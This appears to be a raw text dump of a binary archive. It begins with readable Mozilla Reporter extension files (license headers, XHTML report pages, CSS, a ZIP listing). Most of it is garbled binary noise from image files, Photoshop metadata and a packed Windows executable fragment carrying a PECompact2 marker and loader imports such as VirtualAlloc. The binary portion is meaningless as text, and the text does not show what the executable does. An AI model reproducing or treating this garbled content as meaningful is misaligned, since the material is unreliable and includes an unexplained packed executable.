- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
skin/classic/reporter/icon.pngPK
skin/classic/reporter/reportResults.cssPK
skin/classic/reporter/reportWizard.cssPK
4/5/2019 4/5/2019 4/6/2019 14/6/2019 1BM8
Xea8I>v
BOD`jatuky
3@68F8@J;\f^qwu~y
at{y{4A3#/
qIQDjrh
6B5Sb^
wDG>4?3+=2tr^
lqkswn_eY
x0<@%5'3?/
grqZaYw|w
Zl@JtOYN"3%|
pusq{}
->>.;9
;I?GZT^mn
#-:HQ{p|{;LGauz
c: j>#pC&wJ*}L)xbUa`(7Vtehf\]s0AAHZTvcv}k
$.;IfvDHD8MTd{g~m~TfaUgbK`\]rw}aS?c8
"&K\\|RgrezXmuzJ]fsbqo@PKCTOD]d~'$
(6,.C<Uikt
iyA[hk~Zn
4JZ*:8
!+#*=5@WVObd
Z{e}3Qw;Vl
VY\^dl<BF=FH
+=55JF;PNIar
i|TewA[ob}Tfr
#'ZaiVajdq~!+''805MNZs
lZw(K,Z);K
x*=Ej|
$'-.98?QW7EJ
+-]v@R`q~Xtj)Bj&>m+FdK_te|4LVrBHI
15<jwu<J>JZYRfnPl+E\
*.buzb-Hq+M@Ts0E\
Vm~-7U7A;_eb7=C
4;C_lp
3DP3CJRdv3Ka@Zs
;]w;KXRn
;@D~6O`
/<I\i<qD|evv<Xjbu~DVX,;?
{NhyVn
'F^sl{;QX"-'
'! )!&
4Ro.D[%4D
CHPSmLi;N`
2OlUt
k$M4aKx/Mu
!*+:L}
,H%Ab6^!2G
'?]&Ef*Im
*2-6/=GB
'-1;;/80!&"
CRk1Gi
6BG_lw]gn
@b=cSx>Vw
AJW%(-
"*7;EahrCf Bf-T{?b^~|6AQ1:IfrIOX
AVg(FcSt
QdrH[sGf
g|>Vlatz
+Yesz{py
"*7FQa|bn
zxmv@FP
NZk?[}fvNV`
~`{d|ESf
)7n~T]m
hp}IP[
4/8/2019 4/8/2019 4/10/2019 MZ
L!This program cannot be run in DOS mode.
PEC2^O
mbTpEN
:EWB(CO!
P\_!"%
hDB;e@~o
u|KrA/
b^UbUA
#Dzsb2dp&d
I81,xN6`
@Kk\;>d_y
%WzztE+`i[gV[bf1=9
D;kbr7?WY|
Z(PQ.KWUd
IWa+VW
t_%f]l.k+
b7/+Kv=Qg
E\!yP^U,agOPB`
ie}>u!
{xzGG3v0c\>AtUVY
q|^pXK
#il;C2
ktbQo!TZ
.,.Mh!Y!h'.*
q'e1_?m("
Xd'Ziay
n-C/T
0#ZWT|@KJ
eDtlk1
Vh0y&]!
?j|829J
xT+8v(
$J}ji0
fU^ma2yUf
pnxv=k
CK?K~9f\(%{
H<nO0.g
(b$a,kz"`Hn#[<ms&Q%
A^1.Q>-b
5#IK3&X!%V\q
ixz"SYOY
J^MfzNun
Ik^-tHS*
[9h?vnqd
J7Vng0
J#H#{]`$RXBPJ
N$Le=F
=8wv-3
s#*Za&DZ9
v?L$4P
v|jhXQ]N'
mGd/VD)=1B
3|P)ST
atgZCU+g
+d0J1I
18pO^l>p3
m'@e'05
LgThHL
D#f{O(J`d"rF
J7urt`Rj
3$+cC9W
yywWm;
Jjex|s
X!#uoK12#
"s@K\}C
?R{,hUUu ikHc
PECompact2
\ugWPw
H%caAp
6m8Nme!6
VR^]RIK5
vdQ_w\|H
y9e!w)n
]oRln uJ
=%8T"mXgbslcoF
$E,+hu
s@B?hqa`
#^|G(!8
x`T"@h
Ozi FzR7
zL)cOx
ba&tqa
J`/O`0
.E]=NQjKnw
1.19_p
vS}pT<*bgN_
WGc.5mIr@`^
/M8@tCL=ge
H:aP%w9iWPs0.,q
2\.vghK>-(au
"hA=1M-
r9W;>-
gigov
0~P<!Az$
#]_E{3o
4{h.6DsN!
+QRKK?t
^**5!<Vg
NZ_Rt
s0BRK3.[q#I
gKO3lToa
wW-E&@&A^t&
HEC+X[:
?EXN\GO(?
%OIpMEG
e+.;:?
Y;zVpN
Z'K20Vxq
?%Mh2^G
lXV!QOA,ex
pS@hv;
i'h8Q]g
tM;k/&i
bKz5Bg3
c14=pxh
Y,9}'r=[39dUM{RZ_
QN.KEnB[r
.nyULT6
xl$T&0C6
q]}N:)
Ag7F%TQf|U`
#h7HlV/M
PG3ilpeGA~oLIC,
}r/h{bG~
MCPTl+mj
oD u{VuLR.%
9iXS7b
^#w0N8
QqKrx[1T|>*
+NW{(h
I~+aXHt
uTpNMC
XC6mD.g
a`v\.$J,s[
u<-@pc}]
phusCJH]
o!w-BTy&
i*V&S9
Jtt]{JQ
E*wmc3e(jbtgh(
v-9q[3$uZU
HdOM1x&
8WiNW@
e87@46]
}D~+eLuOf
nAr8ei#v
~K(rAN
(rU)E'
TU?Ho9oJ
b'c4;|
p~>\\c@WCG{
t[1It/Tl"x
mNP_nw_WUZ
Q;G9%2|v13
;Li[@cc+
bYV/LT
DU=m?M!]
+@@L4~Ru4
ycr1FJP
/d._]aUIU>2|
/wQ)bAvRw;
*cV!^vgFcu*o
8.t__g
_P}`\nJ
))_c,dQ
'/ZMtQ
krgkLpf
'WC,oj /9
0psHW
'"[<VGs`
,G^`h,x
Gyp.`[
Ilv6Lgqm`x~Z
}oo\sRapWTz
'uwTH"
X8`,fw-
Zj{I# AJ
3G>51D8GvkR
<1V\%H
b.l} 2#,cczg%V
Y_eza^.\/CVj8tg
UsKjSS
nB^ur8E k
.QTcR
w!T4)9tZBlc<,
x,aajYE
[*V^|B)u?
XycA )%
4R5w1g
%!'Y'(
:pBjSqP
PJ2%b6
t6w6Gux
38pq" E
hJVulHWsL<-l_
ht=+?l}3@rrP
}3;+9
HtU*pM<(
Z\YLGA
t9*YKw
yGMa.%
%J=i:
O"os7?
1xtD/g
j:<^$V%e
mh>iFMk/[o
{CQ0*1w9
4Wr7%x{
<)~@mWV
`Z_IDJAtY<i-i
6t<rzt5<`[5L
E;7]A7JKd|JI
li3@kg
WeN)bJ
>3gJF%Lj
B^L<J#%G*6=lf
Tn#qn)r.0
wX8OZm?
CWsi0>
2NbXy4Ro71!6E
'QXqE6
Tmd7 E!
3q4.p=[);"r
H,u"[
ZPv,@J5!-
?zw!.RrM+<
wQkMS&P'P1
YR|7^RVM0iqC
\bw>_|{
WwbfwBL_m
~(N'5&/q{'9
\~c!{MFz|@m!Qk>C&
L83C^(%=
rN4RE^5wH]
z:wy@NaW:c5Si2h
<9Aj?Q)d77(+
^qyc;03Zet
$nggb
9i'eZU$!w
M!@/ce8
zr:S;2__Qx9p=`
a"DJe&dS3$)*
f%o9q\
hm1\GY
WO4O0k
)f/q0fP=
e7NhV7xU
+5C9&I
@sEuQr
+w5kV%5
0dV+ghQl0^/
>fBX&D
C.V7zyic,
8/5$DJ~A{D=:D
gb@U+-
TC2F-a=GP
v%ezB&j1Li
!-Ci~0
)ttg=y|
_ATRPx2
y&Fyuv~^r
bk'+$#*7^'Lz
!rZaz&
^Hmyqk
Ipx&(
4Pxt.$
FHg^BL8YoR
l)"]%l#
/x*_UL'2
NLy`dsf2GK*a,
|i_w<Y[
_H#|Dc
s2xy{`
w"g]P<
0;mfh})b
7CUq]CMC
jV9z)]Jl?
C@EP7$1
f@U2|*lc
Gm18xu
]yJT_}
{pY."h=U
`ZHL~`
1w.7BgpY
Zdp/Rn>
>?i/Ow
apHgV1+PrLd
!i6d@G[
#>BOIr1:%
r>r+HE
wsIAwh<e
/Gn6g1.gUij4H^m2
nITgLTmnvt:9
Y0Kb.Pp/8XiQF>+lp
O0jw%#-
Kl$;.jB%
9`R#IA,n
Texk`%
P#qd\lKB
<*sfk;k
.v^Z[$
qz{W(g8i!D7;uM
tVxNg\
Cb(3>
HVpag]Sn?lQ
YEB~0sqq[
:t_]BJ
skX#r[yzum&wL
p5v{9Fo
Yc>#~^q9?
bkGV-}:
r#hKgb\;
<|Kr9%|
m:Cs^W?+6g{EA23!
aEP0oh3QzLY
H/0\.]
6R]qW>EK
#0 1XiY
@?j&Y($/
0i2nyK\bF
L@8|V,
f.%tS-
iLOls;:
+A'QZ`
wxG]Aa
3yXOq6q;?91q
AVrLMq[+zMOy#w`
vSA'?T
\IT`mN[Q
~,b#*2r
|syW)wH8
A(dXS|
bsl(&o
PmeCv7KjZ:`\}OX
XmO+4V3UNXko,z0dU*D
IU+NdafDum
S"y"Zh
w{5pLy
&/LbxVnE{b4
]<l)$E
(j.LF1
'r;W8}
~T$ivBr
:2&<*&Qe,wj7
;@p"Wy)
d?[xn-#|7m0
kd#a`/
ngN`\DO
h2PswM
/}'_$T
O3|yRG
6%6EDSD
f8'F~=8J6=
GvE2Hl+*@A3O'
80sNSor
vda{& f
cjk_T}+j
q#Kc#i^?,
N#>f\xZ-b
rI2"T?m.FS
~![V&8
tvVEUa7d
{M}Ueg
Pv\o(a8E/,3Ky
9ulAnG)n}
s4jCT?!1|
[KLm1&QOkOq
fU8D8*
!1o?|j7*+`5
0=_l,G_L
^dmI^yp`lP%#%
1puvv\
G-QJD@
FAt_;$<o
`dyv'8
S+#NXV
z~E<z/
!1Na>Jq}
~z\qyE
FE8UZ1&&
@+7cs`
E?x]='
ZaOrF~
gYUFwbZlr
q[%FQx
eIS}<[g!
(2,u73
7oFNLqd
g5UVuZ~
:Ig{8m
QD(QI%C'P
-BT=Cg~\
Eh(qB
%&;FX%
2dE~4^9
{BQd!,r
uVKc1hg
~R0h[b
+Roj?k3eZ
fU,;j}k~
Qx0d.'
3qwIDblZ%
Nm-Z w
p,tUVv
d2:@nPmD036[l
:12DT*p,Wdyv$e
Jsieoc_
c\Ru~=
=!W+BP
+}eDR.Ml:'X
F={P4{a
:D\r8yA
70L92AoU
$\{gI{
_>/~07
Cu"$i{xE~9P@km7"
chcYp+/'
VvS]D!@.8o5V4+
nU#6~
uHO>M?C
8N9t=,7
>zLC9[uO
92V'>h1BuZ/%j
bS. *KDg)t0
O7B[(N
U(l'?XsS\/u$Ii
J__B@y
+TWH,2
kernel32.dll
LoadLibraryA
GetProcAddress
VirtualAlloc
VirtualFree
m2_ KW7n
OQ?*CT!
8!5@|K
9w}iX=~L<,
Hq]C<.+
?C&i"p
;==$?K@]
v!pc}nw"J
d"qPw,
{ia0dVD
>z%voql
3hKt2?}
8 JQY'
-Y,'/>owL
!DV,8Jb
F3_Jg6
y$O=Vb
2qia_?upw
T\>FND
ModulqHan8
Virtopc>ken*32+
ZPY[z]8@
+>(/P"
H+SlM8!
{BtpyL(+
P/(#vjE#hM!"xV4
!J*YO*AW$^@f;M
D$4HSUVPg
6A|$ l
\8T<>#
v0`Zf#
9hD-*
9$$ ?|
;0xUeN
:@97oJ
+Pz%}T`oe<~Wq
405=QtL
vB*(3H%Iw]
Dd"B7\
(1XdS!a
N~0SvJQ
~}U?_(
90sk$M
sFpRph
cN,4+KQ07!'
A,R?B-
%# |"!
uD3Z~X0
fdb;u}
'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
